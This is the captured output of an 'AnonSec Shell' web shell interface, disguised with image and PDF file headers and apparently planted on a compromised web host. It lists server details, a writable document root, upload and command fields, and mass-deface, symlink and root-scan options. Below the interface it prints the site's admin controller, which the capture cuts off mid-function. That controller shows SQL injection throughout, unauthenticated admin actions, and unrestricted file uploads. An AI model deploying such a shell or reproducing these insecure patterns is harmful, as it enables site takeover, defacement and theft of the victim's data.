ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/syoft.com/public_html/blogs/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/syoft.com/public_html/blogs/application/controllers/Admin.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Admin extends CI_Controller { 
   public function __construct() 
    {
         header ("Expires: ".gmdate("D, d M Y H:i:s", time())." GMT");  
		header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");  
		header ("Cache-Control: no-cache, must-revalidate");  
		header ("Pragma: no-cache");
        parent::__construct();		
        $this->load->model("Common_model");
    }
  public function login_check()
	{
	 $admin_id=$this->session->userdata('admin_id');	
     if($admin_id=='')
	 {
       redirect(base_url().'admin');   
     } 
		
		
	}
		public function log_out()
	{
	 $this->session->sess_destroy();
	 redirect('admin/index');
	
	}
	public function index(){
	    header("Location: https://www.syoft.com/blogs.php");
	}
	public function login_page()
	{  
        
		$this->load->view('admin/login');
	}
	public function change_password()
	{  
		$admin_id=$this->session->userdata('admin_id');	

		if(isset($_POST['password']))
		{
		$new_password=strip_tags(trim($_POST['password']));
		$repeat_password=strip_tags(trim($_POST['confirm_password']));
		if($new_password == $repeat_password)
		{
		$data = array(
		'admin_password' => md5($new_password)
		);
		$this->db->where('admin_id', $this->session->userdata('admin_id'));
	    $this->db->update('wl_admins', $data); 		
		$data['status']=1;
		 $data['msg']='Password Changed Successfully';
	     echo json_encode($data);
		 exit;
		}else
		{
		$data['status']=0;
		 $data['msg']='Password Not Mached';
	     echo json_encode($data);
		 exit;
		}
		}
		$this->load->view('admin/change_password');
	}
	public function exams_list()
	{  

		$this->load->view('admin/exams_list');
	}
	public function reviews_list()
	{  

		$this->load->view('admin/reviews_list');
	}
	public function seo_tags()
	{  
    $q=$this->db->query("SELECT * FROM `meta_tags`");
    $data['seo_tags'] = $q->result_array();
		$this->load->view('admin/seo_tags',$data);
	}
	public function edit_tags()
	{
	$id = $this->input->post('id');
	$q=$this->db->query("SELECT * FROM `meta_tags` where meta_tag_id='$id'");
    $data['view_data'] = $q->row_array();
	

	$this->load->view("admin/edit_tags",$data);
	}	
	public function edit_question()
	{
	$id = $this->input->post('id');
	$q=$this->db->query("SELECT * FROM `test_questions` where question_id='$id'");
    $data['view_data'] = $q->row_array();
	

	$this->load->view("admin/edit_question",$data);
	}
			public function update_tags()
	{
		
		   $id = $this->input->post('id');
			$system_array=array(
			'meta_title'=>$this->input->post('meta_title'),
			'meta_description'=>$this->input->post('meta_description'),
			'meta_keywords'=>$this->input->post('meta_keywords')
			);
		$this->db->where('meta_tag_id', $id);
		$this->db->update('meta_tags', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	public function faq_list()
	{  
     $q=$this->db->query("SELECT * FROM `courses` where status='1'");
    $data['courses'] = $q->result_array();
		$this->load->view('admin/faq_list',$data);
	}
		public function load_faq_list()
	{  

		 $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'faq_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
        $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where question LIKE '%$search%' or answer LIKE '%$search%' or course_name LIKE '%$search%'";	
		}
		$result_data = $this->db->query("select * from faq_list f inner join courses cs  on f.course_id=cs.course_id 
	   $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(faq_id) as datacount  from  faq_list f inner join courses cs  on f.course_id=cs.course_id  $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['course_name'];
		$result['aaData'][$key][] = $res['question'];
		$result['aaData'][$key][] = $res['answer'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="faq_list"  data-did="'.$res['faq_id'].'" data-colid="faq_id">
          <span class="slider round"></span>
        </label>';
			$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['faq_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-table="faq_list" data-colid="faq_id" data-did="'.$res['faq_id'].'" data-table="exams_list" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';	
	
		$key++;
		}
		
		echo json_encode($result);
	}
	
	
	public function newsletter_list()
	{  
         $this->login_check();
		$this->load->view('admin/newsletter_list');
	}
		public function load_newsletter_list()
	{  

		 $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'subscrption_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
        $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where subscribe_email LIKE '%$search%'";	
		}
		$result_data = $this->db->query("select * from subscrptions f 
	   $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(subscrption_id) as datacount  from  subscrptions  $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['subscribe_status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['subscribe_email'];
		
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="subscrptions"  data-did="'.$res['subscrption_id'].'" data-colid="subscrption_id">
          <span class="slider round"></span>
        </label>';
			
	
		$key++;
		}
		
		echo json_encode($result);
	}
	public function schedule_list()
	{  
       $this->login_check();
	   $q=$this->db->query("SELECT * FROM `courses` where status='1' order by course_slug asc");
        $data['courses'] = $q->result_array();
		 $q=$this->db->query("SELECT * FROM `countries` where status='1'");
        $data['countries'] = $q->result_array();
		 $q=$this->db->query("SELECT * FROM `countries` where status='1'");
        $data['countries'] = $q->result_array();
		$this->load->view('admin/schedule_list',$data);
	}
	public function courses_list()
	{  
	
	    $this->login_check();
        $q=$this->db->query("SELECT * FROM `categories` where status='1'");
        $data['categories'] = $q->result_array();
		$this->load->view('admin/courses_list',$data);
	}
	public function load_schedule_list()
	{  

		 $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'schedule_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
	
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
        $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where duration LIKE '%$search%' or s.traning_type LIKE '%$search%' or price LIKE '%$search%' or course_name LIKE '%$search%'";	
		}
		$result_data = $this->db->query("select s.*,c.course_name,c.course_id,cy.city_name from  schedule s inner join courses c on s.course_id=c.course_id 
	  left join cities cy  on cy.city_id=s.city_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(schedule_id) as datacount  from  schedule s inner join courses c on s.course_id=c.course_id 
	  left join cities cy  on cy.city_id=s.city_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['course_name'];
		$result['aaData'][$key][] = $res['traning_type'];
		$result['aaData'][$key][] = $res['duration'];
		$result['aaData'][$key][] = ($res['city_name']) ? $res['city_name'] : 'Your PC';
		$result['aaData'][$key][] = $res['course_date'];
		$result['aaData'][$key][] = $res['course_time'];
		$result['aaData'][$key][] = $res['price'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="schedule"  data-did="'.$res['schedule_id'].'" data-colid="course_id">
          <span class="slider round"></span>
        </label>';
			$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['schedule_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-table="schedule" data-colid="schedule_id" data-did="'.$res['schedule_id'].'" data-table="exams_list" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';	
	
		$key++;
		}
		
		echo json_encode($result);
	}
				public function load_courses_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'course_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
        $search=$_GET['search']['value'];
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where course_name LIKE '%$search%' or traning_type LIKE '%$search%'";	
		}  
		$result_data = $this->db->query("SELECT * from  courses $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(course_id) as datacount from  courses $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['course_name'];

		$result['aaData'][$key][] = $res['sort_order'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="courses"  data-did="'.$res['course_id'].'" data-colid="course_id">
          <span class="slider round"></span>
        </label>';
		$image='<a  data-did="'.$res['course_id'].'"  ><i onclick="openm('.$res['course_id'].')" class="fa fa-image" style="font-size:22px;cursor:pointer"></i></a>&nbsp;&nbsp;';

			$result['aaData'][$key][]='<a href="'.base_url().'photos/photos_list/?user_id='.$res['course_id'].'"><i  class="fa fa-eye" style="font-size:22px;cursor:pointer"></i></a>&nbsp;&nbsp;'.$image.'<a class="btn btn-success btn-sm text-white" href="'.base_url().'admin/edit_course/'.$res['course_id'].'" data-did="'.$res['course_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-table="courses" data-colid="course_id" data-did="'.$res['course_id'].'" data-table="exams_list" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';	
	
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
	    	public function add_schedule()
	{	
		$this->login_check();	
		$course_id = $this->input->post('course_id');
		
		$price = $this->input->post('price');
		
		$traning_type = $this->input->post('traning_type');
		$duration= $this->input->post('duration');
		$course_date=$this->input->post('course_date');
		$course_time=$this->input->post('course_time');
		$event_id=$this->input->post('event_id');
		$no_of_registartions=$this->input->post('no_of_registartions');
		$schedule_end_date=$this->input->post('schedule_end_date');
		$system_array=array('course_id'=>$course_id,
						    'course_date'=>$course_date,
							'course_time'=>$course_time,
						    'traning_type'=>$traning_type,							
						    'price'=>$price,
												
							'duration'=>$duration,
						    'event_id'=>$event_id,
							 'status'=>1,
							'no_of_registartions'=>$no_of_registartions,
							'schedule_end_date'=>$schedule_end_date
										
		                   
		);
		if(($traning_type!='eLearning' || $traning_type!='Live Virtual'))
		{
		$city_id = $this->input->post('city_id');
		$country_id = $this->input->post('country_id');
        $system_array['city_id']=$city_id;
		$system_array['country_id']=$country_id;
		}
		
		$this->db->insert('schedule',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
	
	}
	
		    	public function update_schedule()
	{	
		$id = $this->input->post('id');	
		$course_id = $this->input->post('course_id');
		
		$price = $this->input->post('price');
		
		$traning_type = $this->input->post('traning_type');
		$duration= $this->input->post('duration');
		$course_date=$this->input->post('course_date');
		$course_time=$this->input->post('course_time');
		$event_id=$this->input->post('event_id');
		$no_of_registartions=$this->input->post('no_of_registartions');
		$schedule_end_date=$this->input->post('schedule_end_date');
		$system_array=array('course_id'=>$course_id,
						    'course_date'=>$course_date,
							'course_time'=>$course_time,
						    'traning_type'=>$traning_type,							
						    'price'=>$price,
												
							'duration'=>$duration,
						    'event_id'=>$event_id,
							 'status'=>1,
							'no_of_registartions'=>$no_of_registartions,
							'schedule_end_date'=>$schedule_end_date
										
		                   
		);
		if(($traning_type!='eLearning' || $traning_type!='Live Virtual'))
		{
		$city_id = $this->input->post('city_id');
		$country_id = $this->input->post('country_id');
        $system_array['city_id']=$city_id;
		$system_array['country_id']=$country_id;
		}
		$this->db->where('schedule_id', $id);
		$this->db->update('schedule', $system_array);
		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
	
	}
			public function add_course()
	{	
	  
		$this->login_check();
		$course_name = $this->input->post('course_name');
		$course_slug=  $this->input->post('course_slug');
		$course_desc = $this->input->post('course_desc');
		$why_should_attend = $this->input->post('why_should_attend');
		$course_key_features = $this->input->post('course_key_features');
		$what_you_will_get = $this->input->post('what_you_will_get');
		$course_outline = $this->input->post('course_outline');
		$Rerequisites = $this->input->post('Rerequisites');
		$trainer = $this->input->post('trainer');
		$category_id=$this->input->post('category_id');
		$traning_video=$this->input->post('traning_video');
		$sort_order=$this->input->post('sort_order');
		$rating=$this->input->post('rating');
		$learners=$this->input->post('learners');
		$certified=$this->input->post('certified');
		$meta_title=$this->input->post('meta_title');
		$meta_desc=$this->input->post('meta_desc');
		$meta_keywords=$this->input->post('meta_keywords');
		$google_code_one=$_POST['google_code_one'];
		$google_code_two=$_POST['google_code_two'];
		$google_code_body=$_POST['google_code_body'];

		if($_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/course_images';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/course_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 150,
			"height"		   => 150	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		
		}else
		{
		
		$banner_image='';
		}
		$brochure='';
		if($_FILES['userfile']['name']!='')
		{
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($date.$_FILES['userfile']['name']);
		move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);		
		$brochure=$date.$_FILES['userfile']['name'];
		}
        $popular_type=$this->input->post('popular_type');
		$system_array=array(
		                  'category_id'=>$category_id,
		                  'course_name'=>$course_name,						   
							'course_desc'=>$course_desc,
						    'why_should_attend'=>$why_should_attend,
							'course_key_features'=>$course_key_features,
						    'what_you_will_get'=>$what_you_will_get,
							'course_outline'=>$course_outline,
						    'Rerequisites'=>$Rerequisites,
						  'trainer'=>$trainer,
							'course_image'=>$banner_image,
							'popular_type'=>$popular_type,
							'brochure'=>$brochure,
							'traning_video'=>$traning_video,
							'sort_order'=>$sort_order,
							'rating'=>$rating,
							'learners'=>$learners,
							'certified'=>$certified,
							'meta_title'=>$meta_title,
							'meta_desc'=>$meta_desc,
							'meta_keywords'=>$meta_keywords,
							'google_code_one'=>$google_code_one,
							'google_code_two'=>$google_code_two,
							'google_code_body'=>$google_code_body
										
		                   
		);
		if(isset($_POST['traning_type']) && $_POST['traning_type']!='')
		{
			$system_array['traning_type']=$_POST['traning_type'];
			
		}
		if(isset($_POST['course_city_id']) && $_POST['course_city_id']!='')
		{
			$system_array['course_city_id']=$_POST['course_city_id'];
			$system_array['course_slug']=$_POST['course_slug'].'-in-'.$_POST['course_city_id'];
		}else
		{
			
			$system_array['course_slug']=$_POST['course_slug'];
		}
		
         $this->db->insert('courses',$system_array);
		
		$this->session->set_flashdata('cmsg',$msg);
		redirect('admin/courses_list');
		
    }   
				public function edit_course($id)
	{
	
	$q=$this->db->query("SELECT * FROM `courses` where course_id='$id'");
    $data['courses'] = $q->row_array();
	$q=$this->db->query("SELECT * FROM `categories` where status='1'");
    $data['categories'] = $q->result_array();	

	$this->load->view("admin/edit_course",$data);
	}	
				public function update_course()
	{	
	   $id = $this->input->post('id');
		$course_id = $this->input->post('course_id');
		$course_name = $this->input->post('course_name');
		$course_slug=  $this->input->post('course_slug');
		$course_desc = $this->input->post('course_desc');
		$why_should_attend = $this->input->post('why_should_attend');
		$course_key_features = $this->input->post('course_key_features');
		$what_you_will_get = $this->input->post('what_you_will_get');
		$course_outline = $this->input->post('course_outline');
		$Rerequisites = $this->input->post('Rerequisites');
		$trainer = $this->input->post('trainer');
		$category_id=$this->input->post('category_id');
		$traning_video=$this->input->post('traning_video');
		$sort_order=$this->input->post('sort_order');
		$rating=$this->input->post('rating');
		$learners=$this->input->post('learners');
		$certified=$this->input->post('certified');
		$meta_title=$this->input->post('meta_title');
		$meta_desc=$this->input->post('meta_desc');
		$meta_keywords=$this->input->post('meta_keywords');
                 $google_code_one=$_POST['google_code_one'];
                $google_code_two=$_POST['google_code_two'];
                                $google_code_body=$_POST['google_code_body'];
        $popular_type=$this->input->post('popular_type');
		$system_array=array(
		                  'category_id'=>$category_id,
		                  'course_name'=>$course_name,
						  
							'course_desc'=>$course_desc,
						    'why_should_attend'=>$why_should_attend,
							'course_key_features'=>$course_key_features,
						    'what_you_will_get'=>$what_you_will_get,
							'course_outline'=>$course_outline,
						    'Rerequisites'=>$Rerequisites,
						  'trainer'=>$trainer,
							
							'popular_type'=>$popular_type,
							'traning_video'=>$traning_video,
							'sort_order'=>$sort_order,
							'rating'=>$rating,
							'learners'=>$learners,
							'certified'=>$certified,
							'meta_title'=>$meta_title,
							'meta_desc'=>$meta_desc,
							'meta_keywords'=>$meta_keywords,
							'google_code_one'=>$google_code_one,
							'google_code_two'=>$google_code_two,
							'google_code_body'=>$google_code_body
										
		                   
		);
		if(isset($_FILES['course_image']['name']) && $_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/course_images';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = date('Ymd').$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/course_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 120,
			"height"		   => 100	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		 $system_array['course_image']=$banner_image;
		
		}else
		{
		
		$banner_image=$this->input->post('old_image');;
		}

		if(isset($_POST['traning_type']) && $_POST['traning_type']!='')
		{
			$system_array['traning_type']=$_POST['traning_type'];
			
		}
		if(isset($_POST['course_city_id']) && $_POST['course_city_id']!='')
		{
			$system_array['course_city_id']=$_POST['course_city_id'];
			//$system_array['course_slug']=$_POST['course_slug'].'-in-'.$_POST['course_city_id'];
		}else
		{
			
			$system_array['course_slug']=$_POST['course_slug'];
		}
		if(isset($_FILES['userfile']['name']) && $_FILES['userfile']['name']!='')
		{
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
		move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);		
		$system_array['brochure']=$_FILES['userfile']['name'];
		}
		
			$this->db->where('course_id', $id);
		$this->db->update('courses', $system_array);	
		  


		$msg='<div class = "alert alert-success alert-dismissable">
		<button type = "button" class = "close" data-dismiss = "alert" aria-hidden = "true">
		&times;
		</button>	
		 Course Updated successfully.
		</div>';
		$this->session->set_flashdata('cmsg',$msg);
		redirect('admin/courses_list');
		
      
	}
		public function edit_schedule()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `countries` where status='1'");
    $data['countries'] = $q->result_array();

	   $q=$this->db->query("SELECT * FROM `courses` where status='1' order by course_slug asc");
    $data['courses'] = $q->result_array();
	   $q=$this->db->query("SELECT * FROM `schedule` where schedule_id='$id'");
    $data['schedule'] = $q->row_array();
	
	$q=$this->db->query("SELECT * FROM `cities` where status='1' and country_id='".$data['schedule']['country_id']."'");
    $data['cities'] = $q->result_array();
	$this->load->view("admin/edit_schedule",$data);
	}
	public function load_cities1()
	{
	 $this->layout=false;
	 $country_id=$this->input->post('country_id');
	 $q=$this->db->query("SELECT c.city_name,city_id  FROM `cities` c inner join countries cc on c.country_id=cc.country_id  where cc.country_id  like '%$country_id%'");
	 $data['cities']=$q->result_array();
	  $this->load->view('admin/cities_list_load.php',$data);
	
	}
	public function clients_list()
	{  
       $this->login_check();
		$this->load->view('admin/clients_list');
	}
		public function edit_faq()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `faq_list` where faq_id='$id'");
    $data['view_data'] = $q->row_array();
	//print_r($data['view_data']);exit;
	$q=$this->db->query("SELECT * FROM `courses` where status='1'");
    $data['courses'] = $q->result_array();
	$this->load->view("admin/edit_faq",$data);
	}
		public function edit_exam()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `exams_list` where exams_list_id='$id'");
    $data['view_data'] = $q->row_array();
	$this->load->view("admin/edit_exam",$data);
	} 
		public function edit_online_test()	
	{		
	$id = $this->input->post('id');
	$q=$this->db->query("SELECT * FROM `online_tests` where test_id='$id'");
    $data['view_data'] = $q->row_array();
    $q=$this->db->query("SELECT * FROM `exam_types` where status='1'");
    $data['exam_types'] = $q->result_array();
	$this->load->view("admin/edit_online_tets",$data);
	} 
		public function edit_email_template($id)	
	{		
	
	$q=$this->db->query("SELECT * FROM `email_templates` where template_id='$id'");
    $data['view_data'] = $q->row_array();
    
	$this->load->view("admin/edit_email_template",$data);
	} 
		public function edit_certificate()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `certificate_list` where user_id='$id'");
    $data['view_data'] = $q->row_array();
	$this->load->view("admin/edit_certificate",$data);
	} 
				public function add_exam()
	{
		
			$certification_name = $this->input->post('certification_name');	
			$system_array=array('certification_name'=>$certification_name,	
			'exam_institute'=>$this->input->post('exam_institute'),
			'sort_order'=>$this->input->post('sort_order')
			);

		 $this->db->insert('exams_list',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
					public function add_certificate()
	{
		
			$certificate_number=$this->input->post('certificate_number');
			$participant_name=$this->input->post('participant_name');

			//$issued_date=date('Y-m-d',strtotime($this->input->post('issued_date')));
			$training_name=$this->input->post('training_name');
			$training_date=$this->input->post('training_date');

			$system_array=array('certificate_number'=>$certificate_number,
			'participant_name'=>$participant_name,
			'training_name'=>$training_name,
			'training_date'=>$training_date
			);

			$this->db->insert('certificate_list',$system_array);
			$data['status']=1;
			$data['msg']='Data Saved Successfully';
			echo json_encode($data);
			exit;
		
	}
	
			public function update_certificate()
	{
		
		   $id = $this->input->post('id');
			$certificate_number=$this->input->post('certificate_number');
			$participant_name=$this->input->post('participant_name');

			//$issued_date=date('Y-m-d',strtotime($this->input->post('issued_date')));
			$training_name=$this->input->post('training_name');
			$training_date=$this->input->post('training_date');

			$system_array=array('certificate_number'=>$certificate_number,
			'participant_name'=>$participant_name,
			'training_name'=>$training_name,
			'training_date'=>$training_date
			);
		$this->db->where('user_id', $id);
		$this->db->update('certificate_list', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	public function add_faq()
	{
		
			$course_id = $this->input->post('course_id');	
			$system_array=array('course_id'=>$course_id,	
			'question'=>$this->input->post('question'),
			'answer'=>$this->input->post('answer'),
			'sort_order'=>$this->input->post('sort_order')
			);

		 $this->db->insert('faq_list',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
			public function update_faq()
	{
		
		   $id = $this->input->post('id');
			$system_array=array('course_id'=>$course_id,	
			'question'=>$this->input->post('question'),
			'answer'=>$this->input->post('answer'),
			'sort_order'=>$this->input->post('sort_order')
			);
		$this->db->where('faq_id', $id);
		$this->db->update('faq_list', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
			public function update_exam()
	{
		
		   $id = $this->input->post('id');
			$certification_name = $this->input->post('certification_name');	
			$system_array=array('certification_name'=>$certification_name,	
			'exam_institute'=>$this->input->post('exam_institute'),
			'sort_order'=>$this->input->post('sort_order')
			);
		$this->db->where('exams_list_id', $id);
		$this->db->update('exams_list', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
		public function load_clients_list()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'client_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		$serach_by=' where client_id!=0';
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		

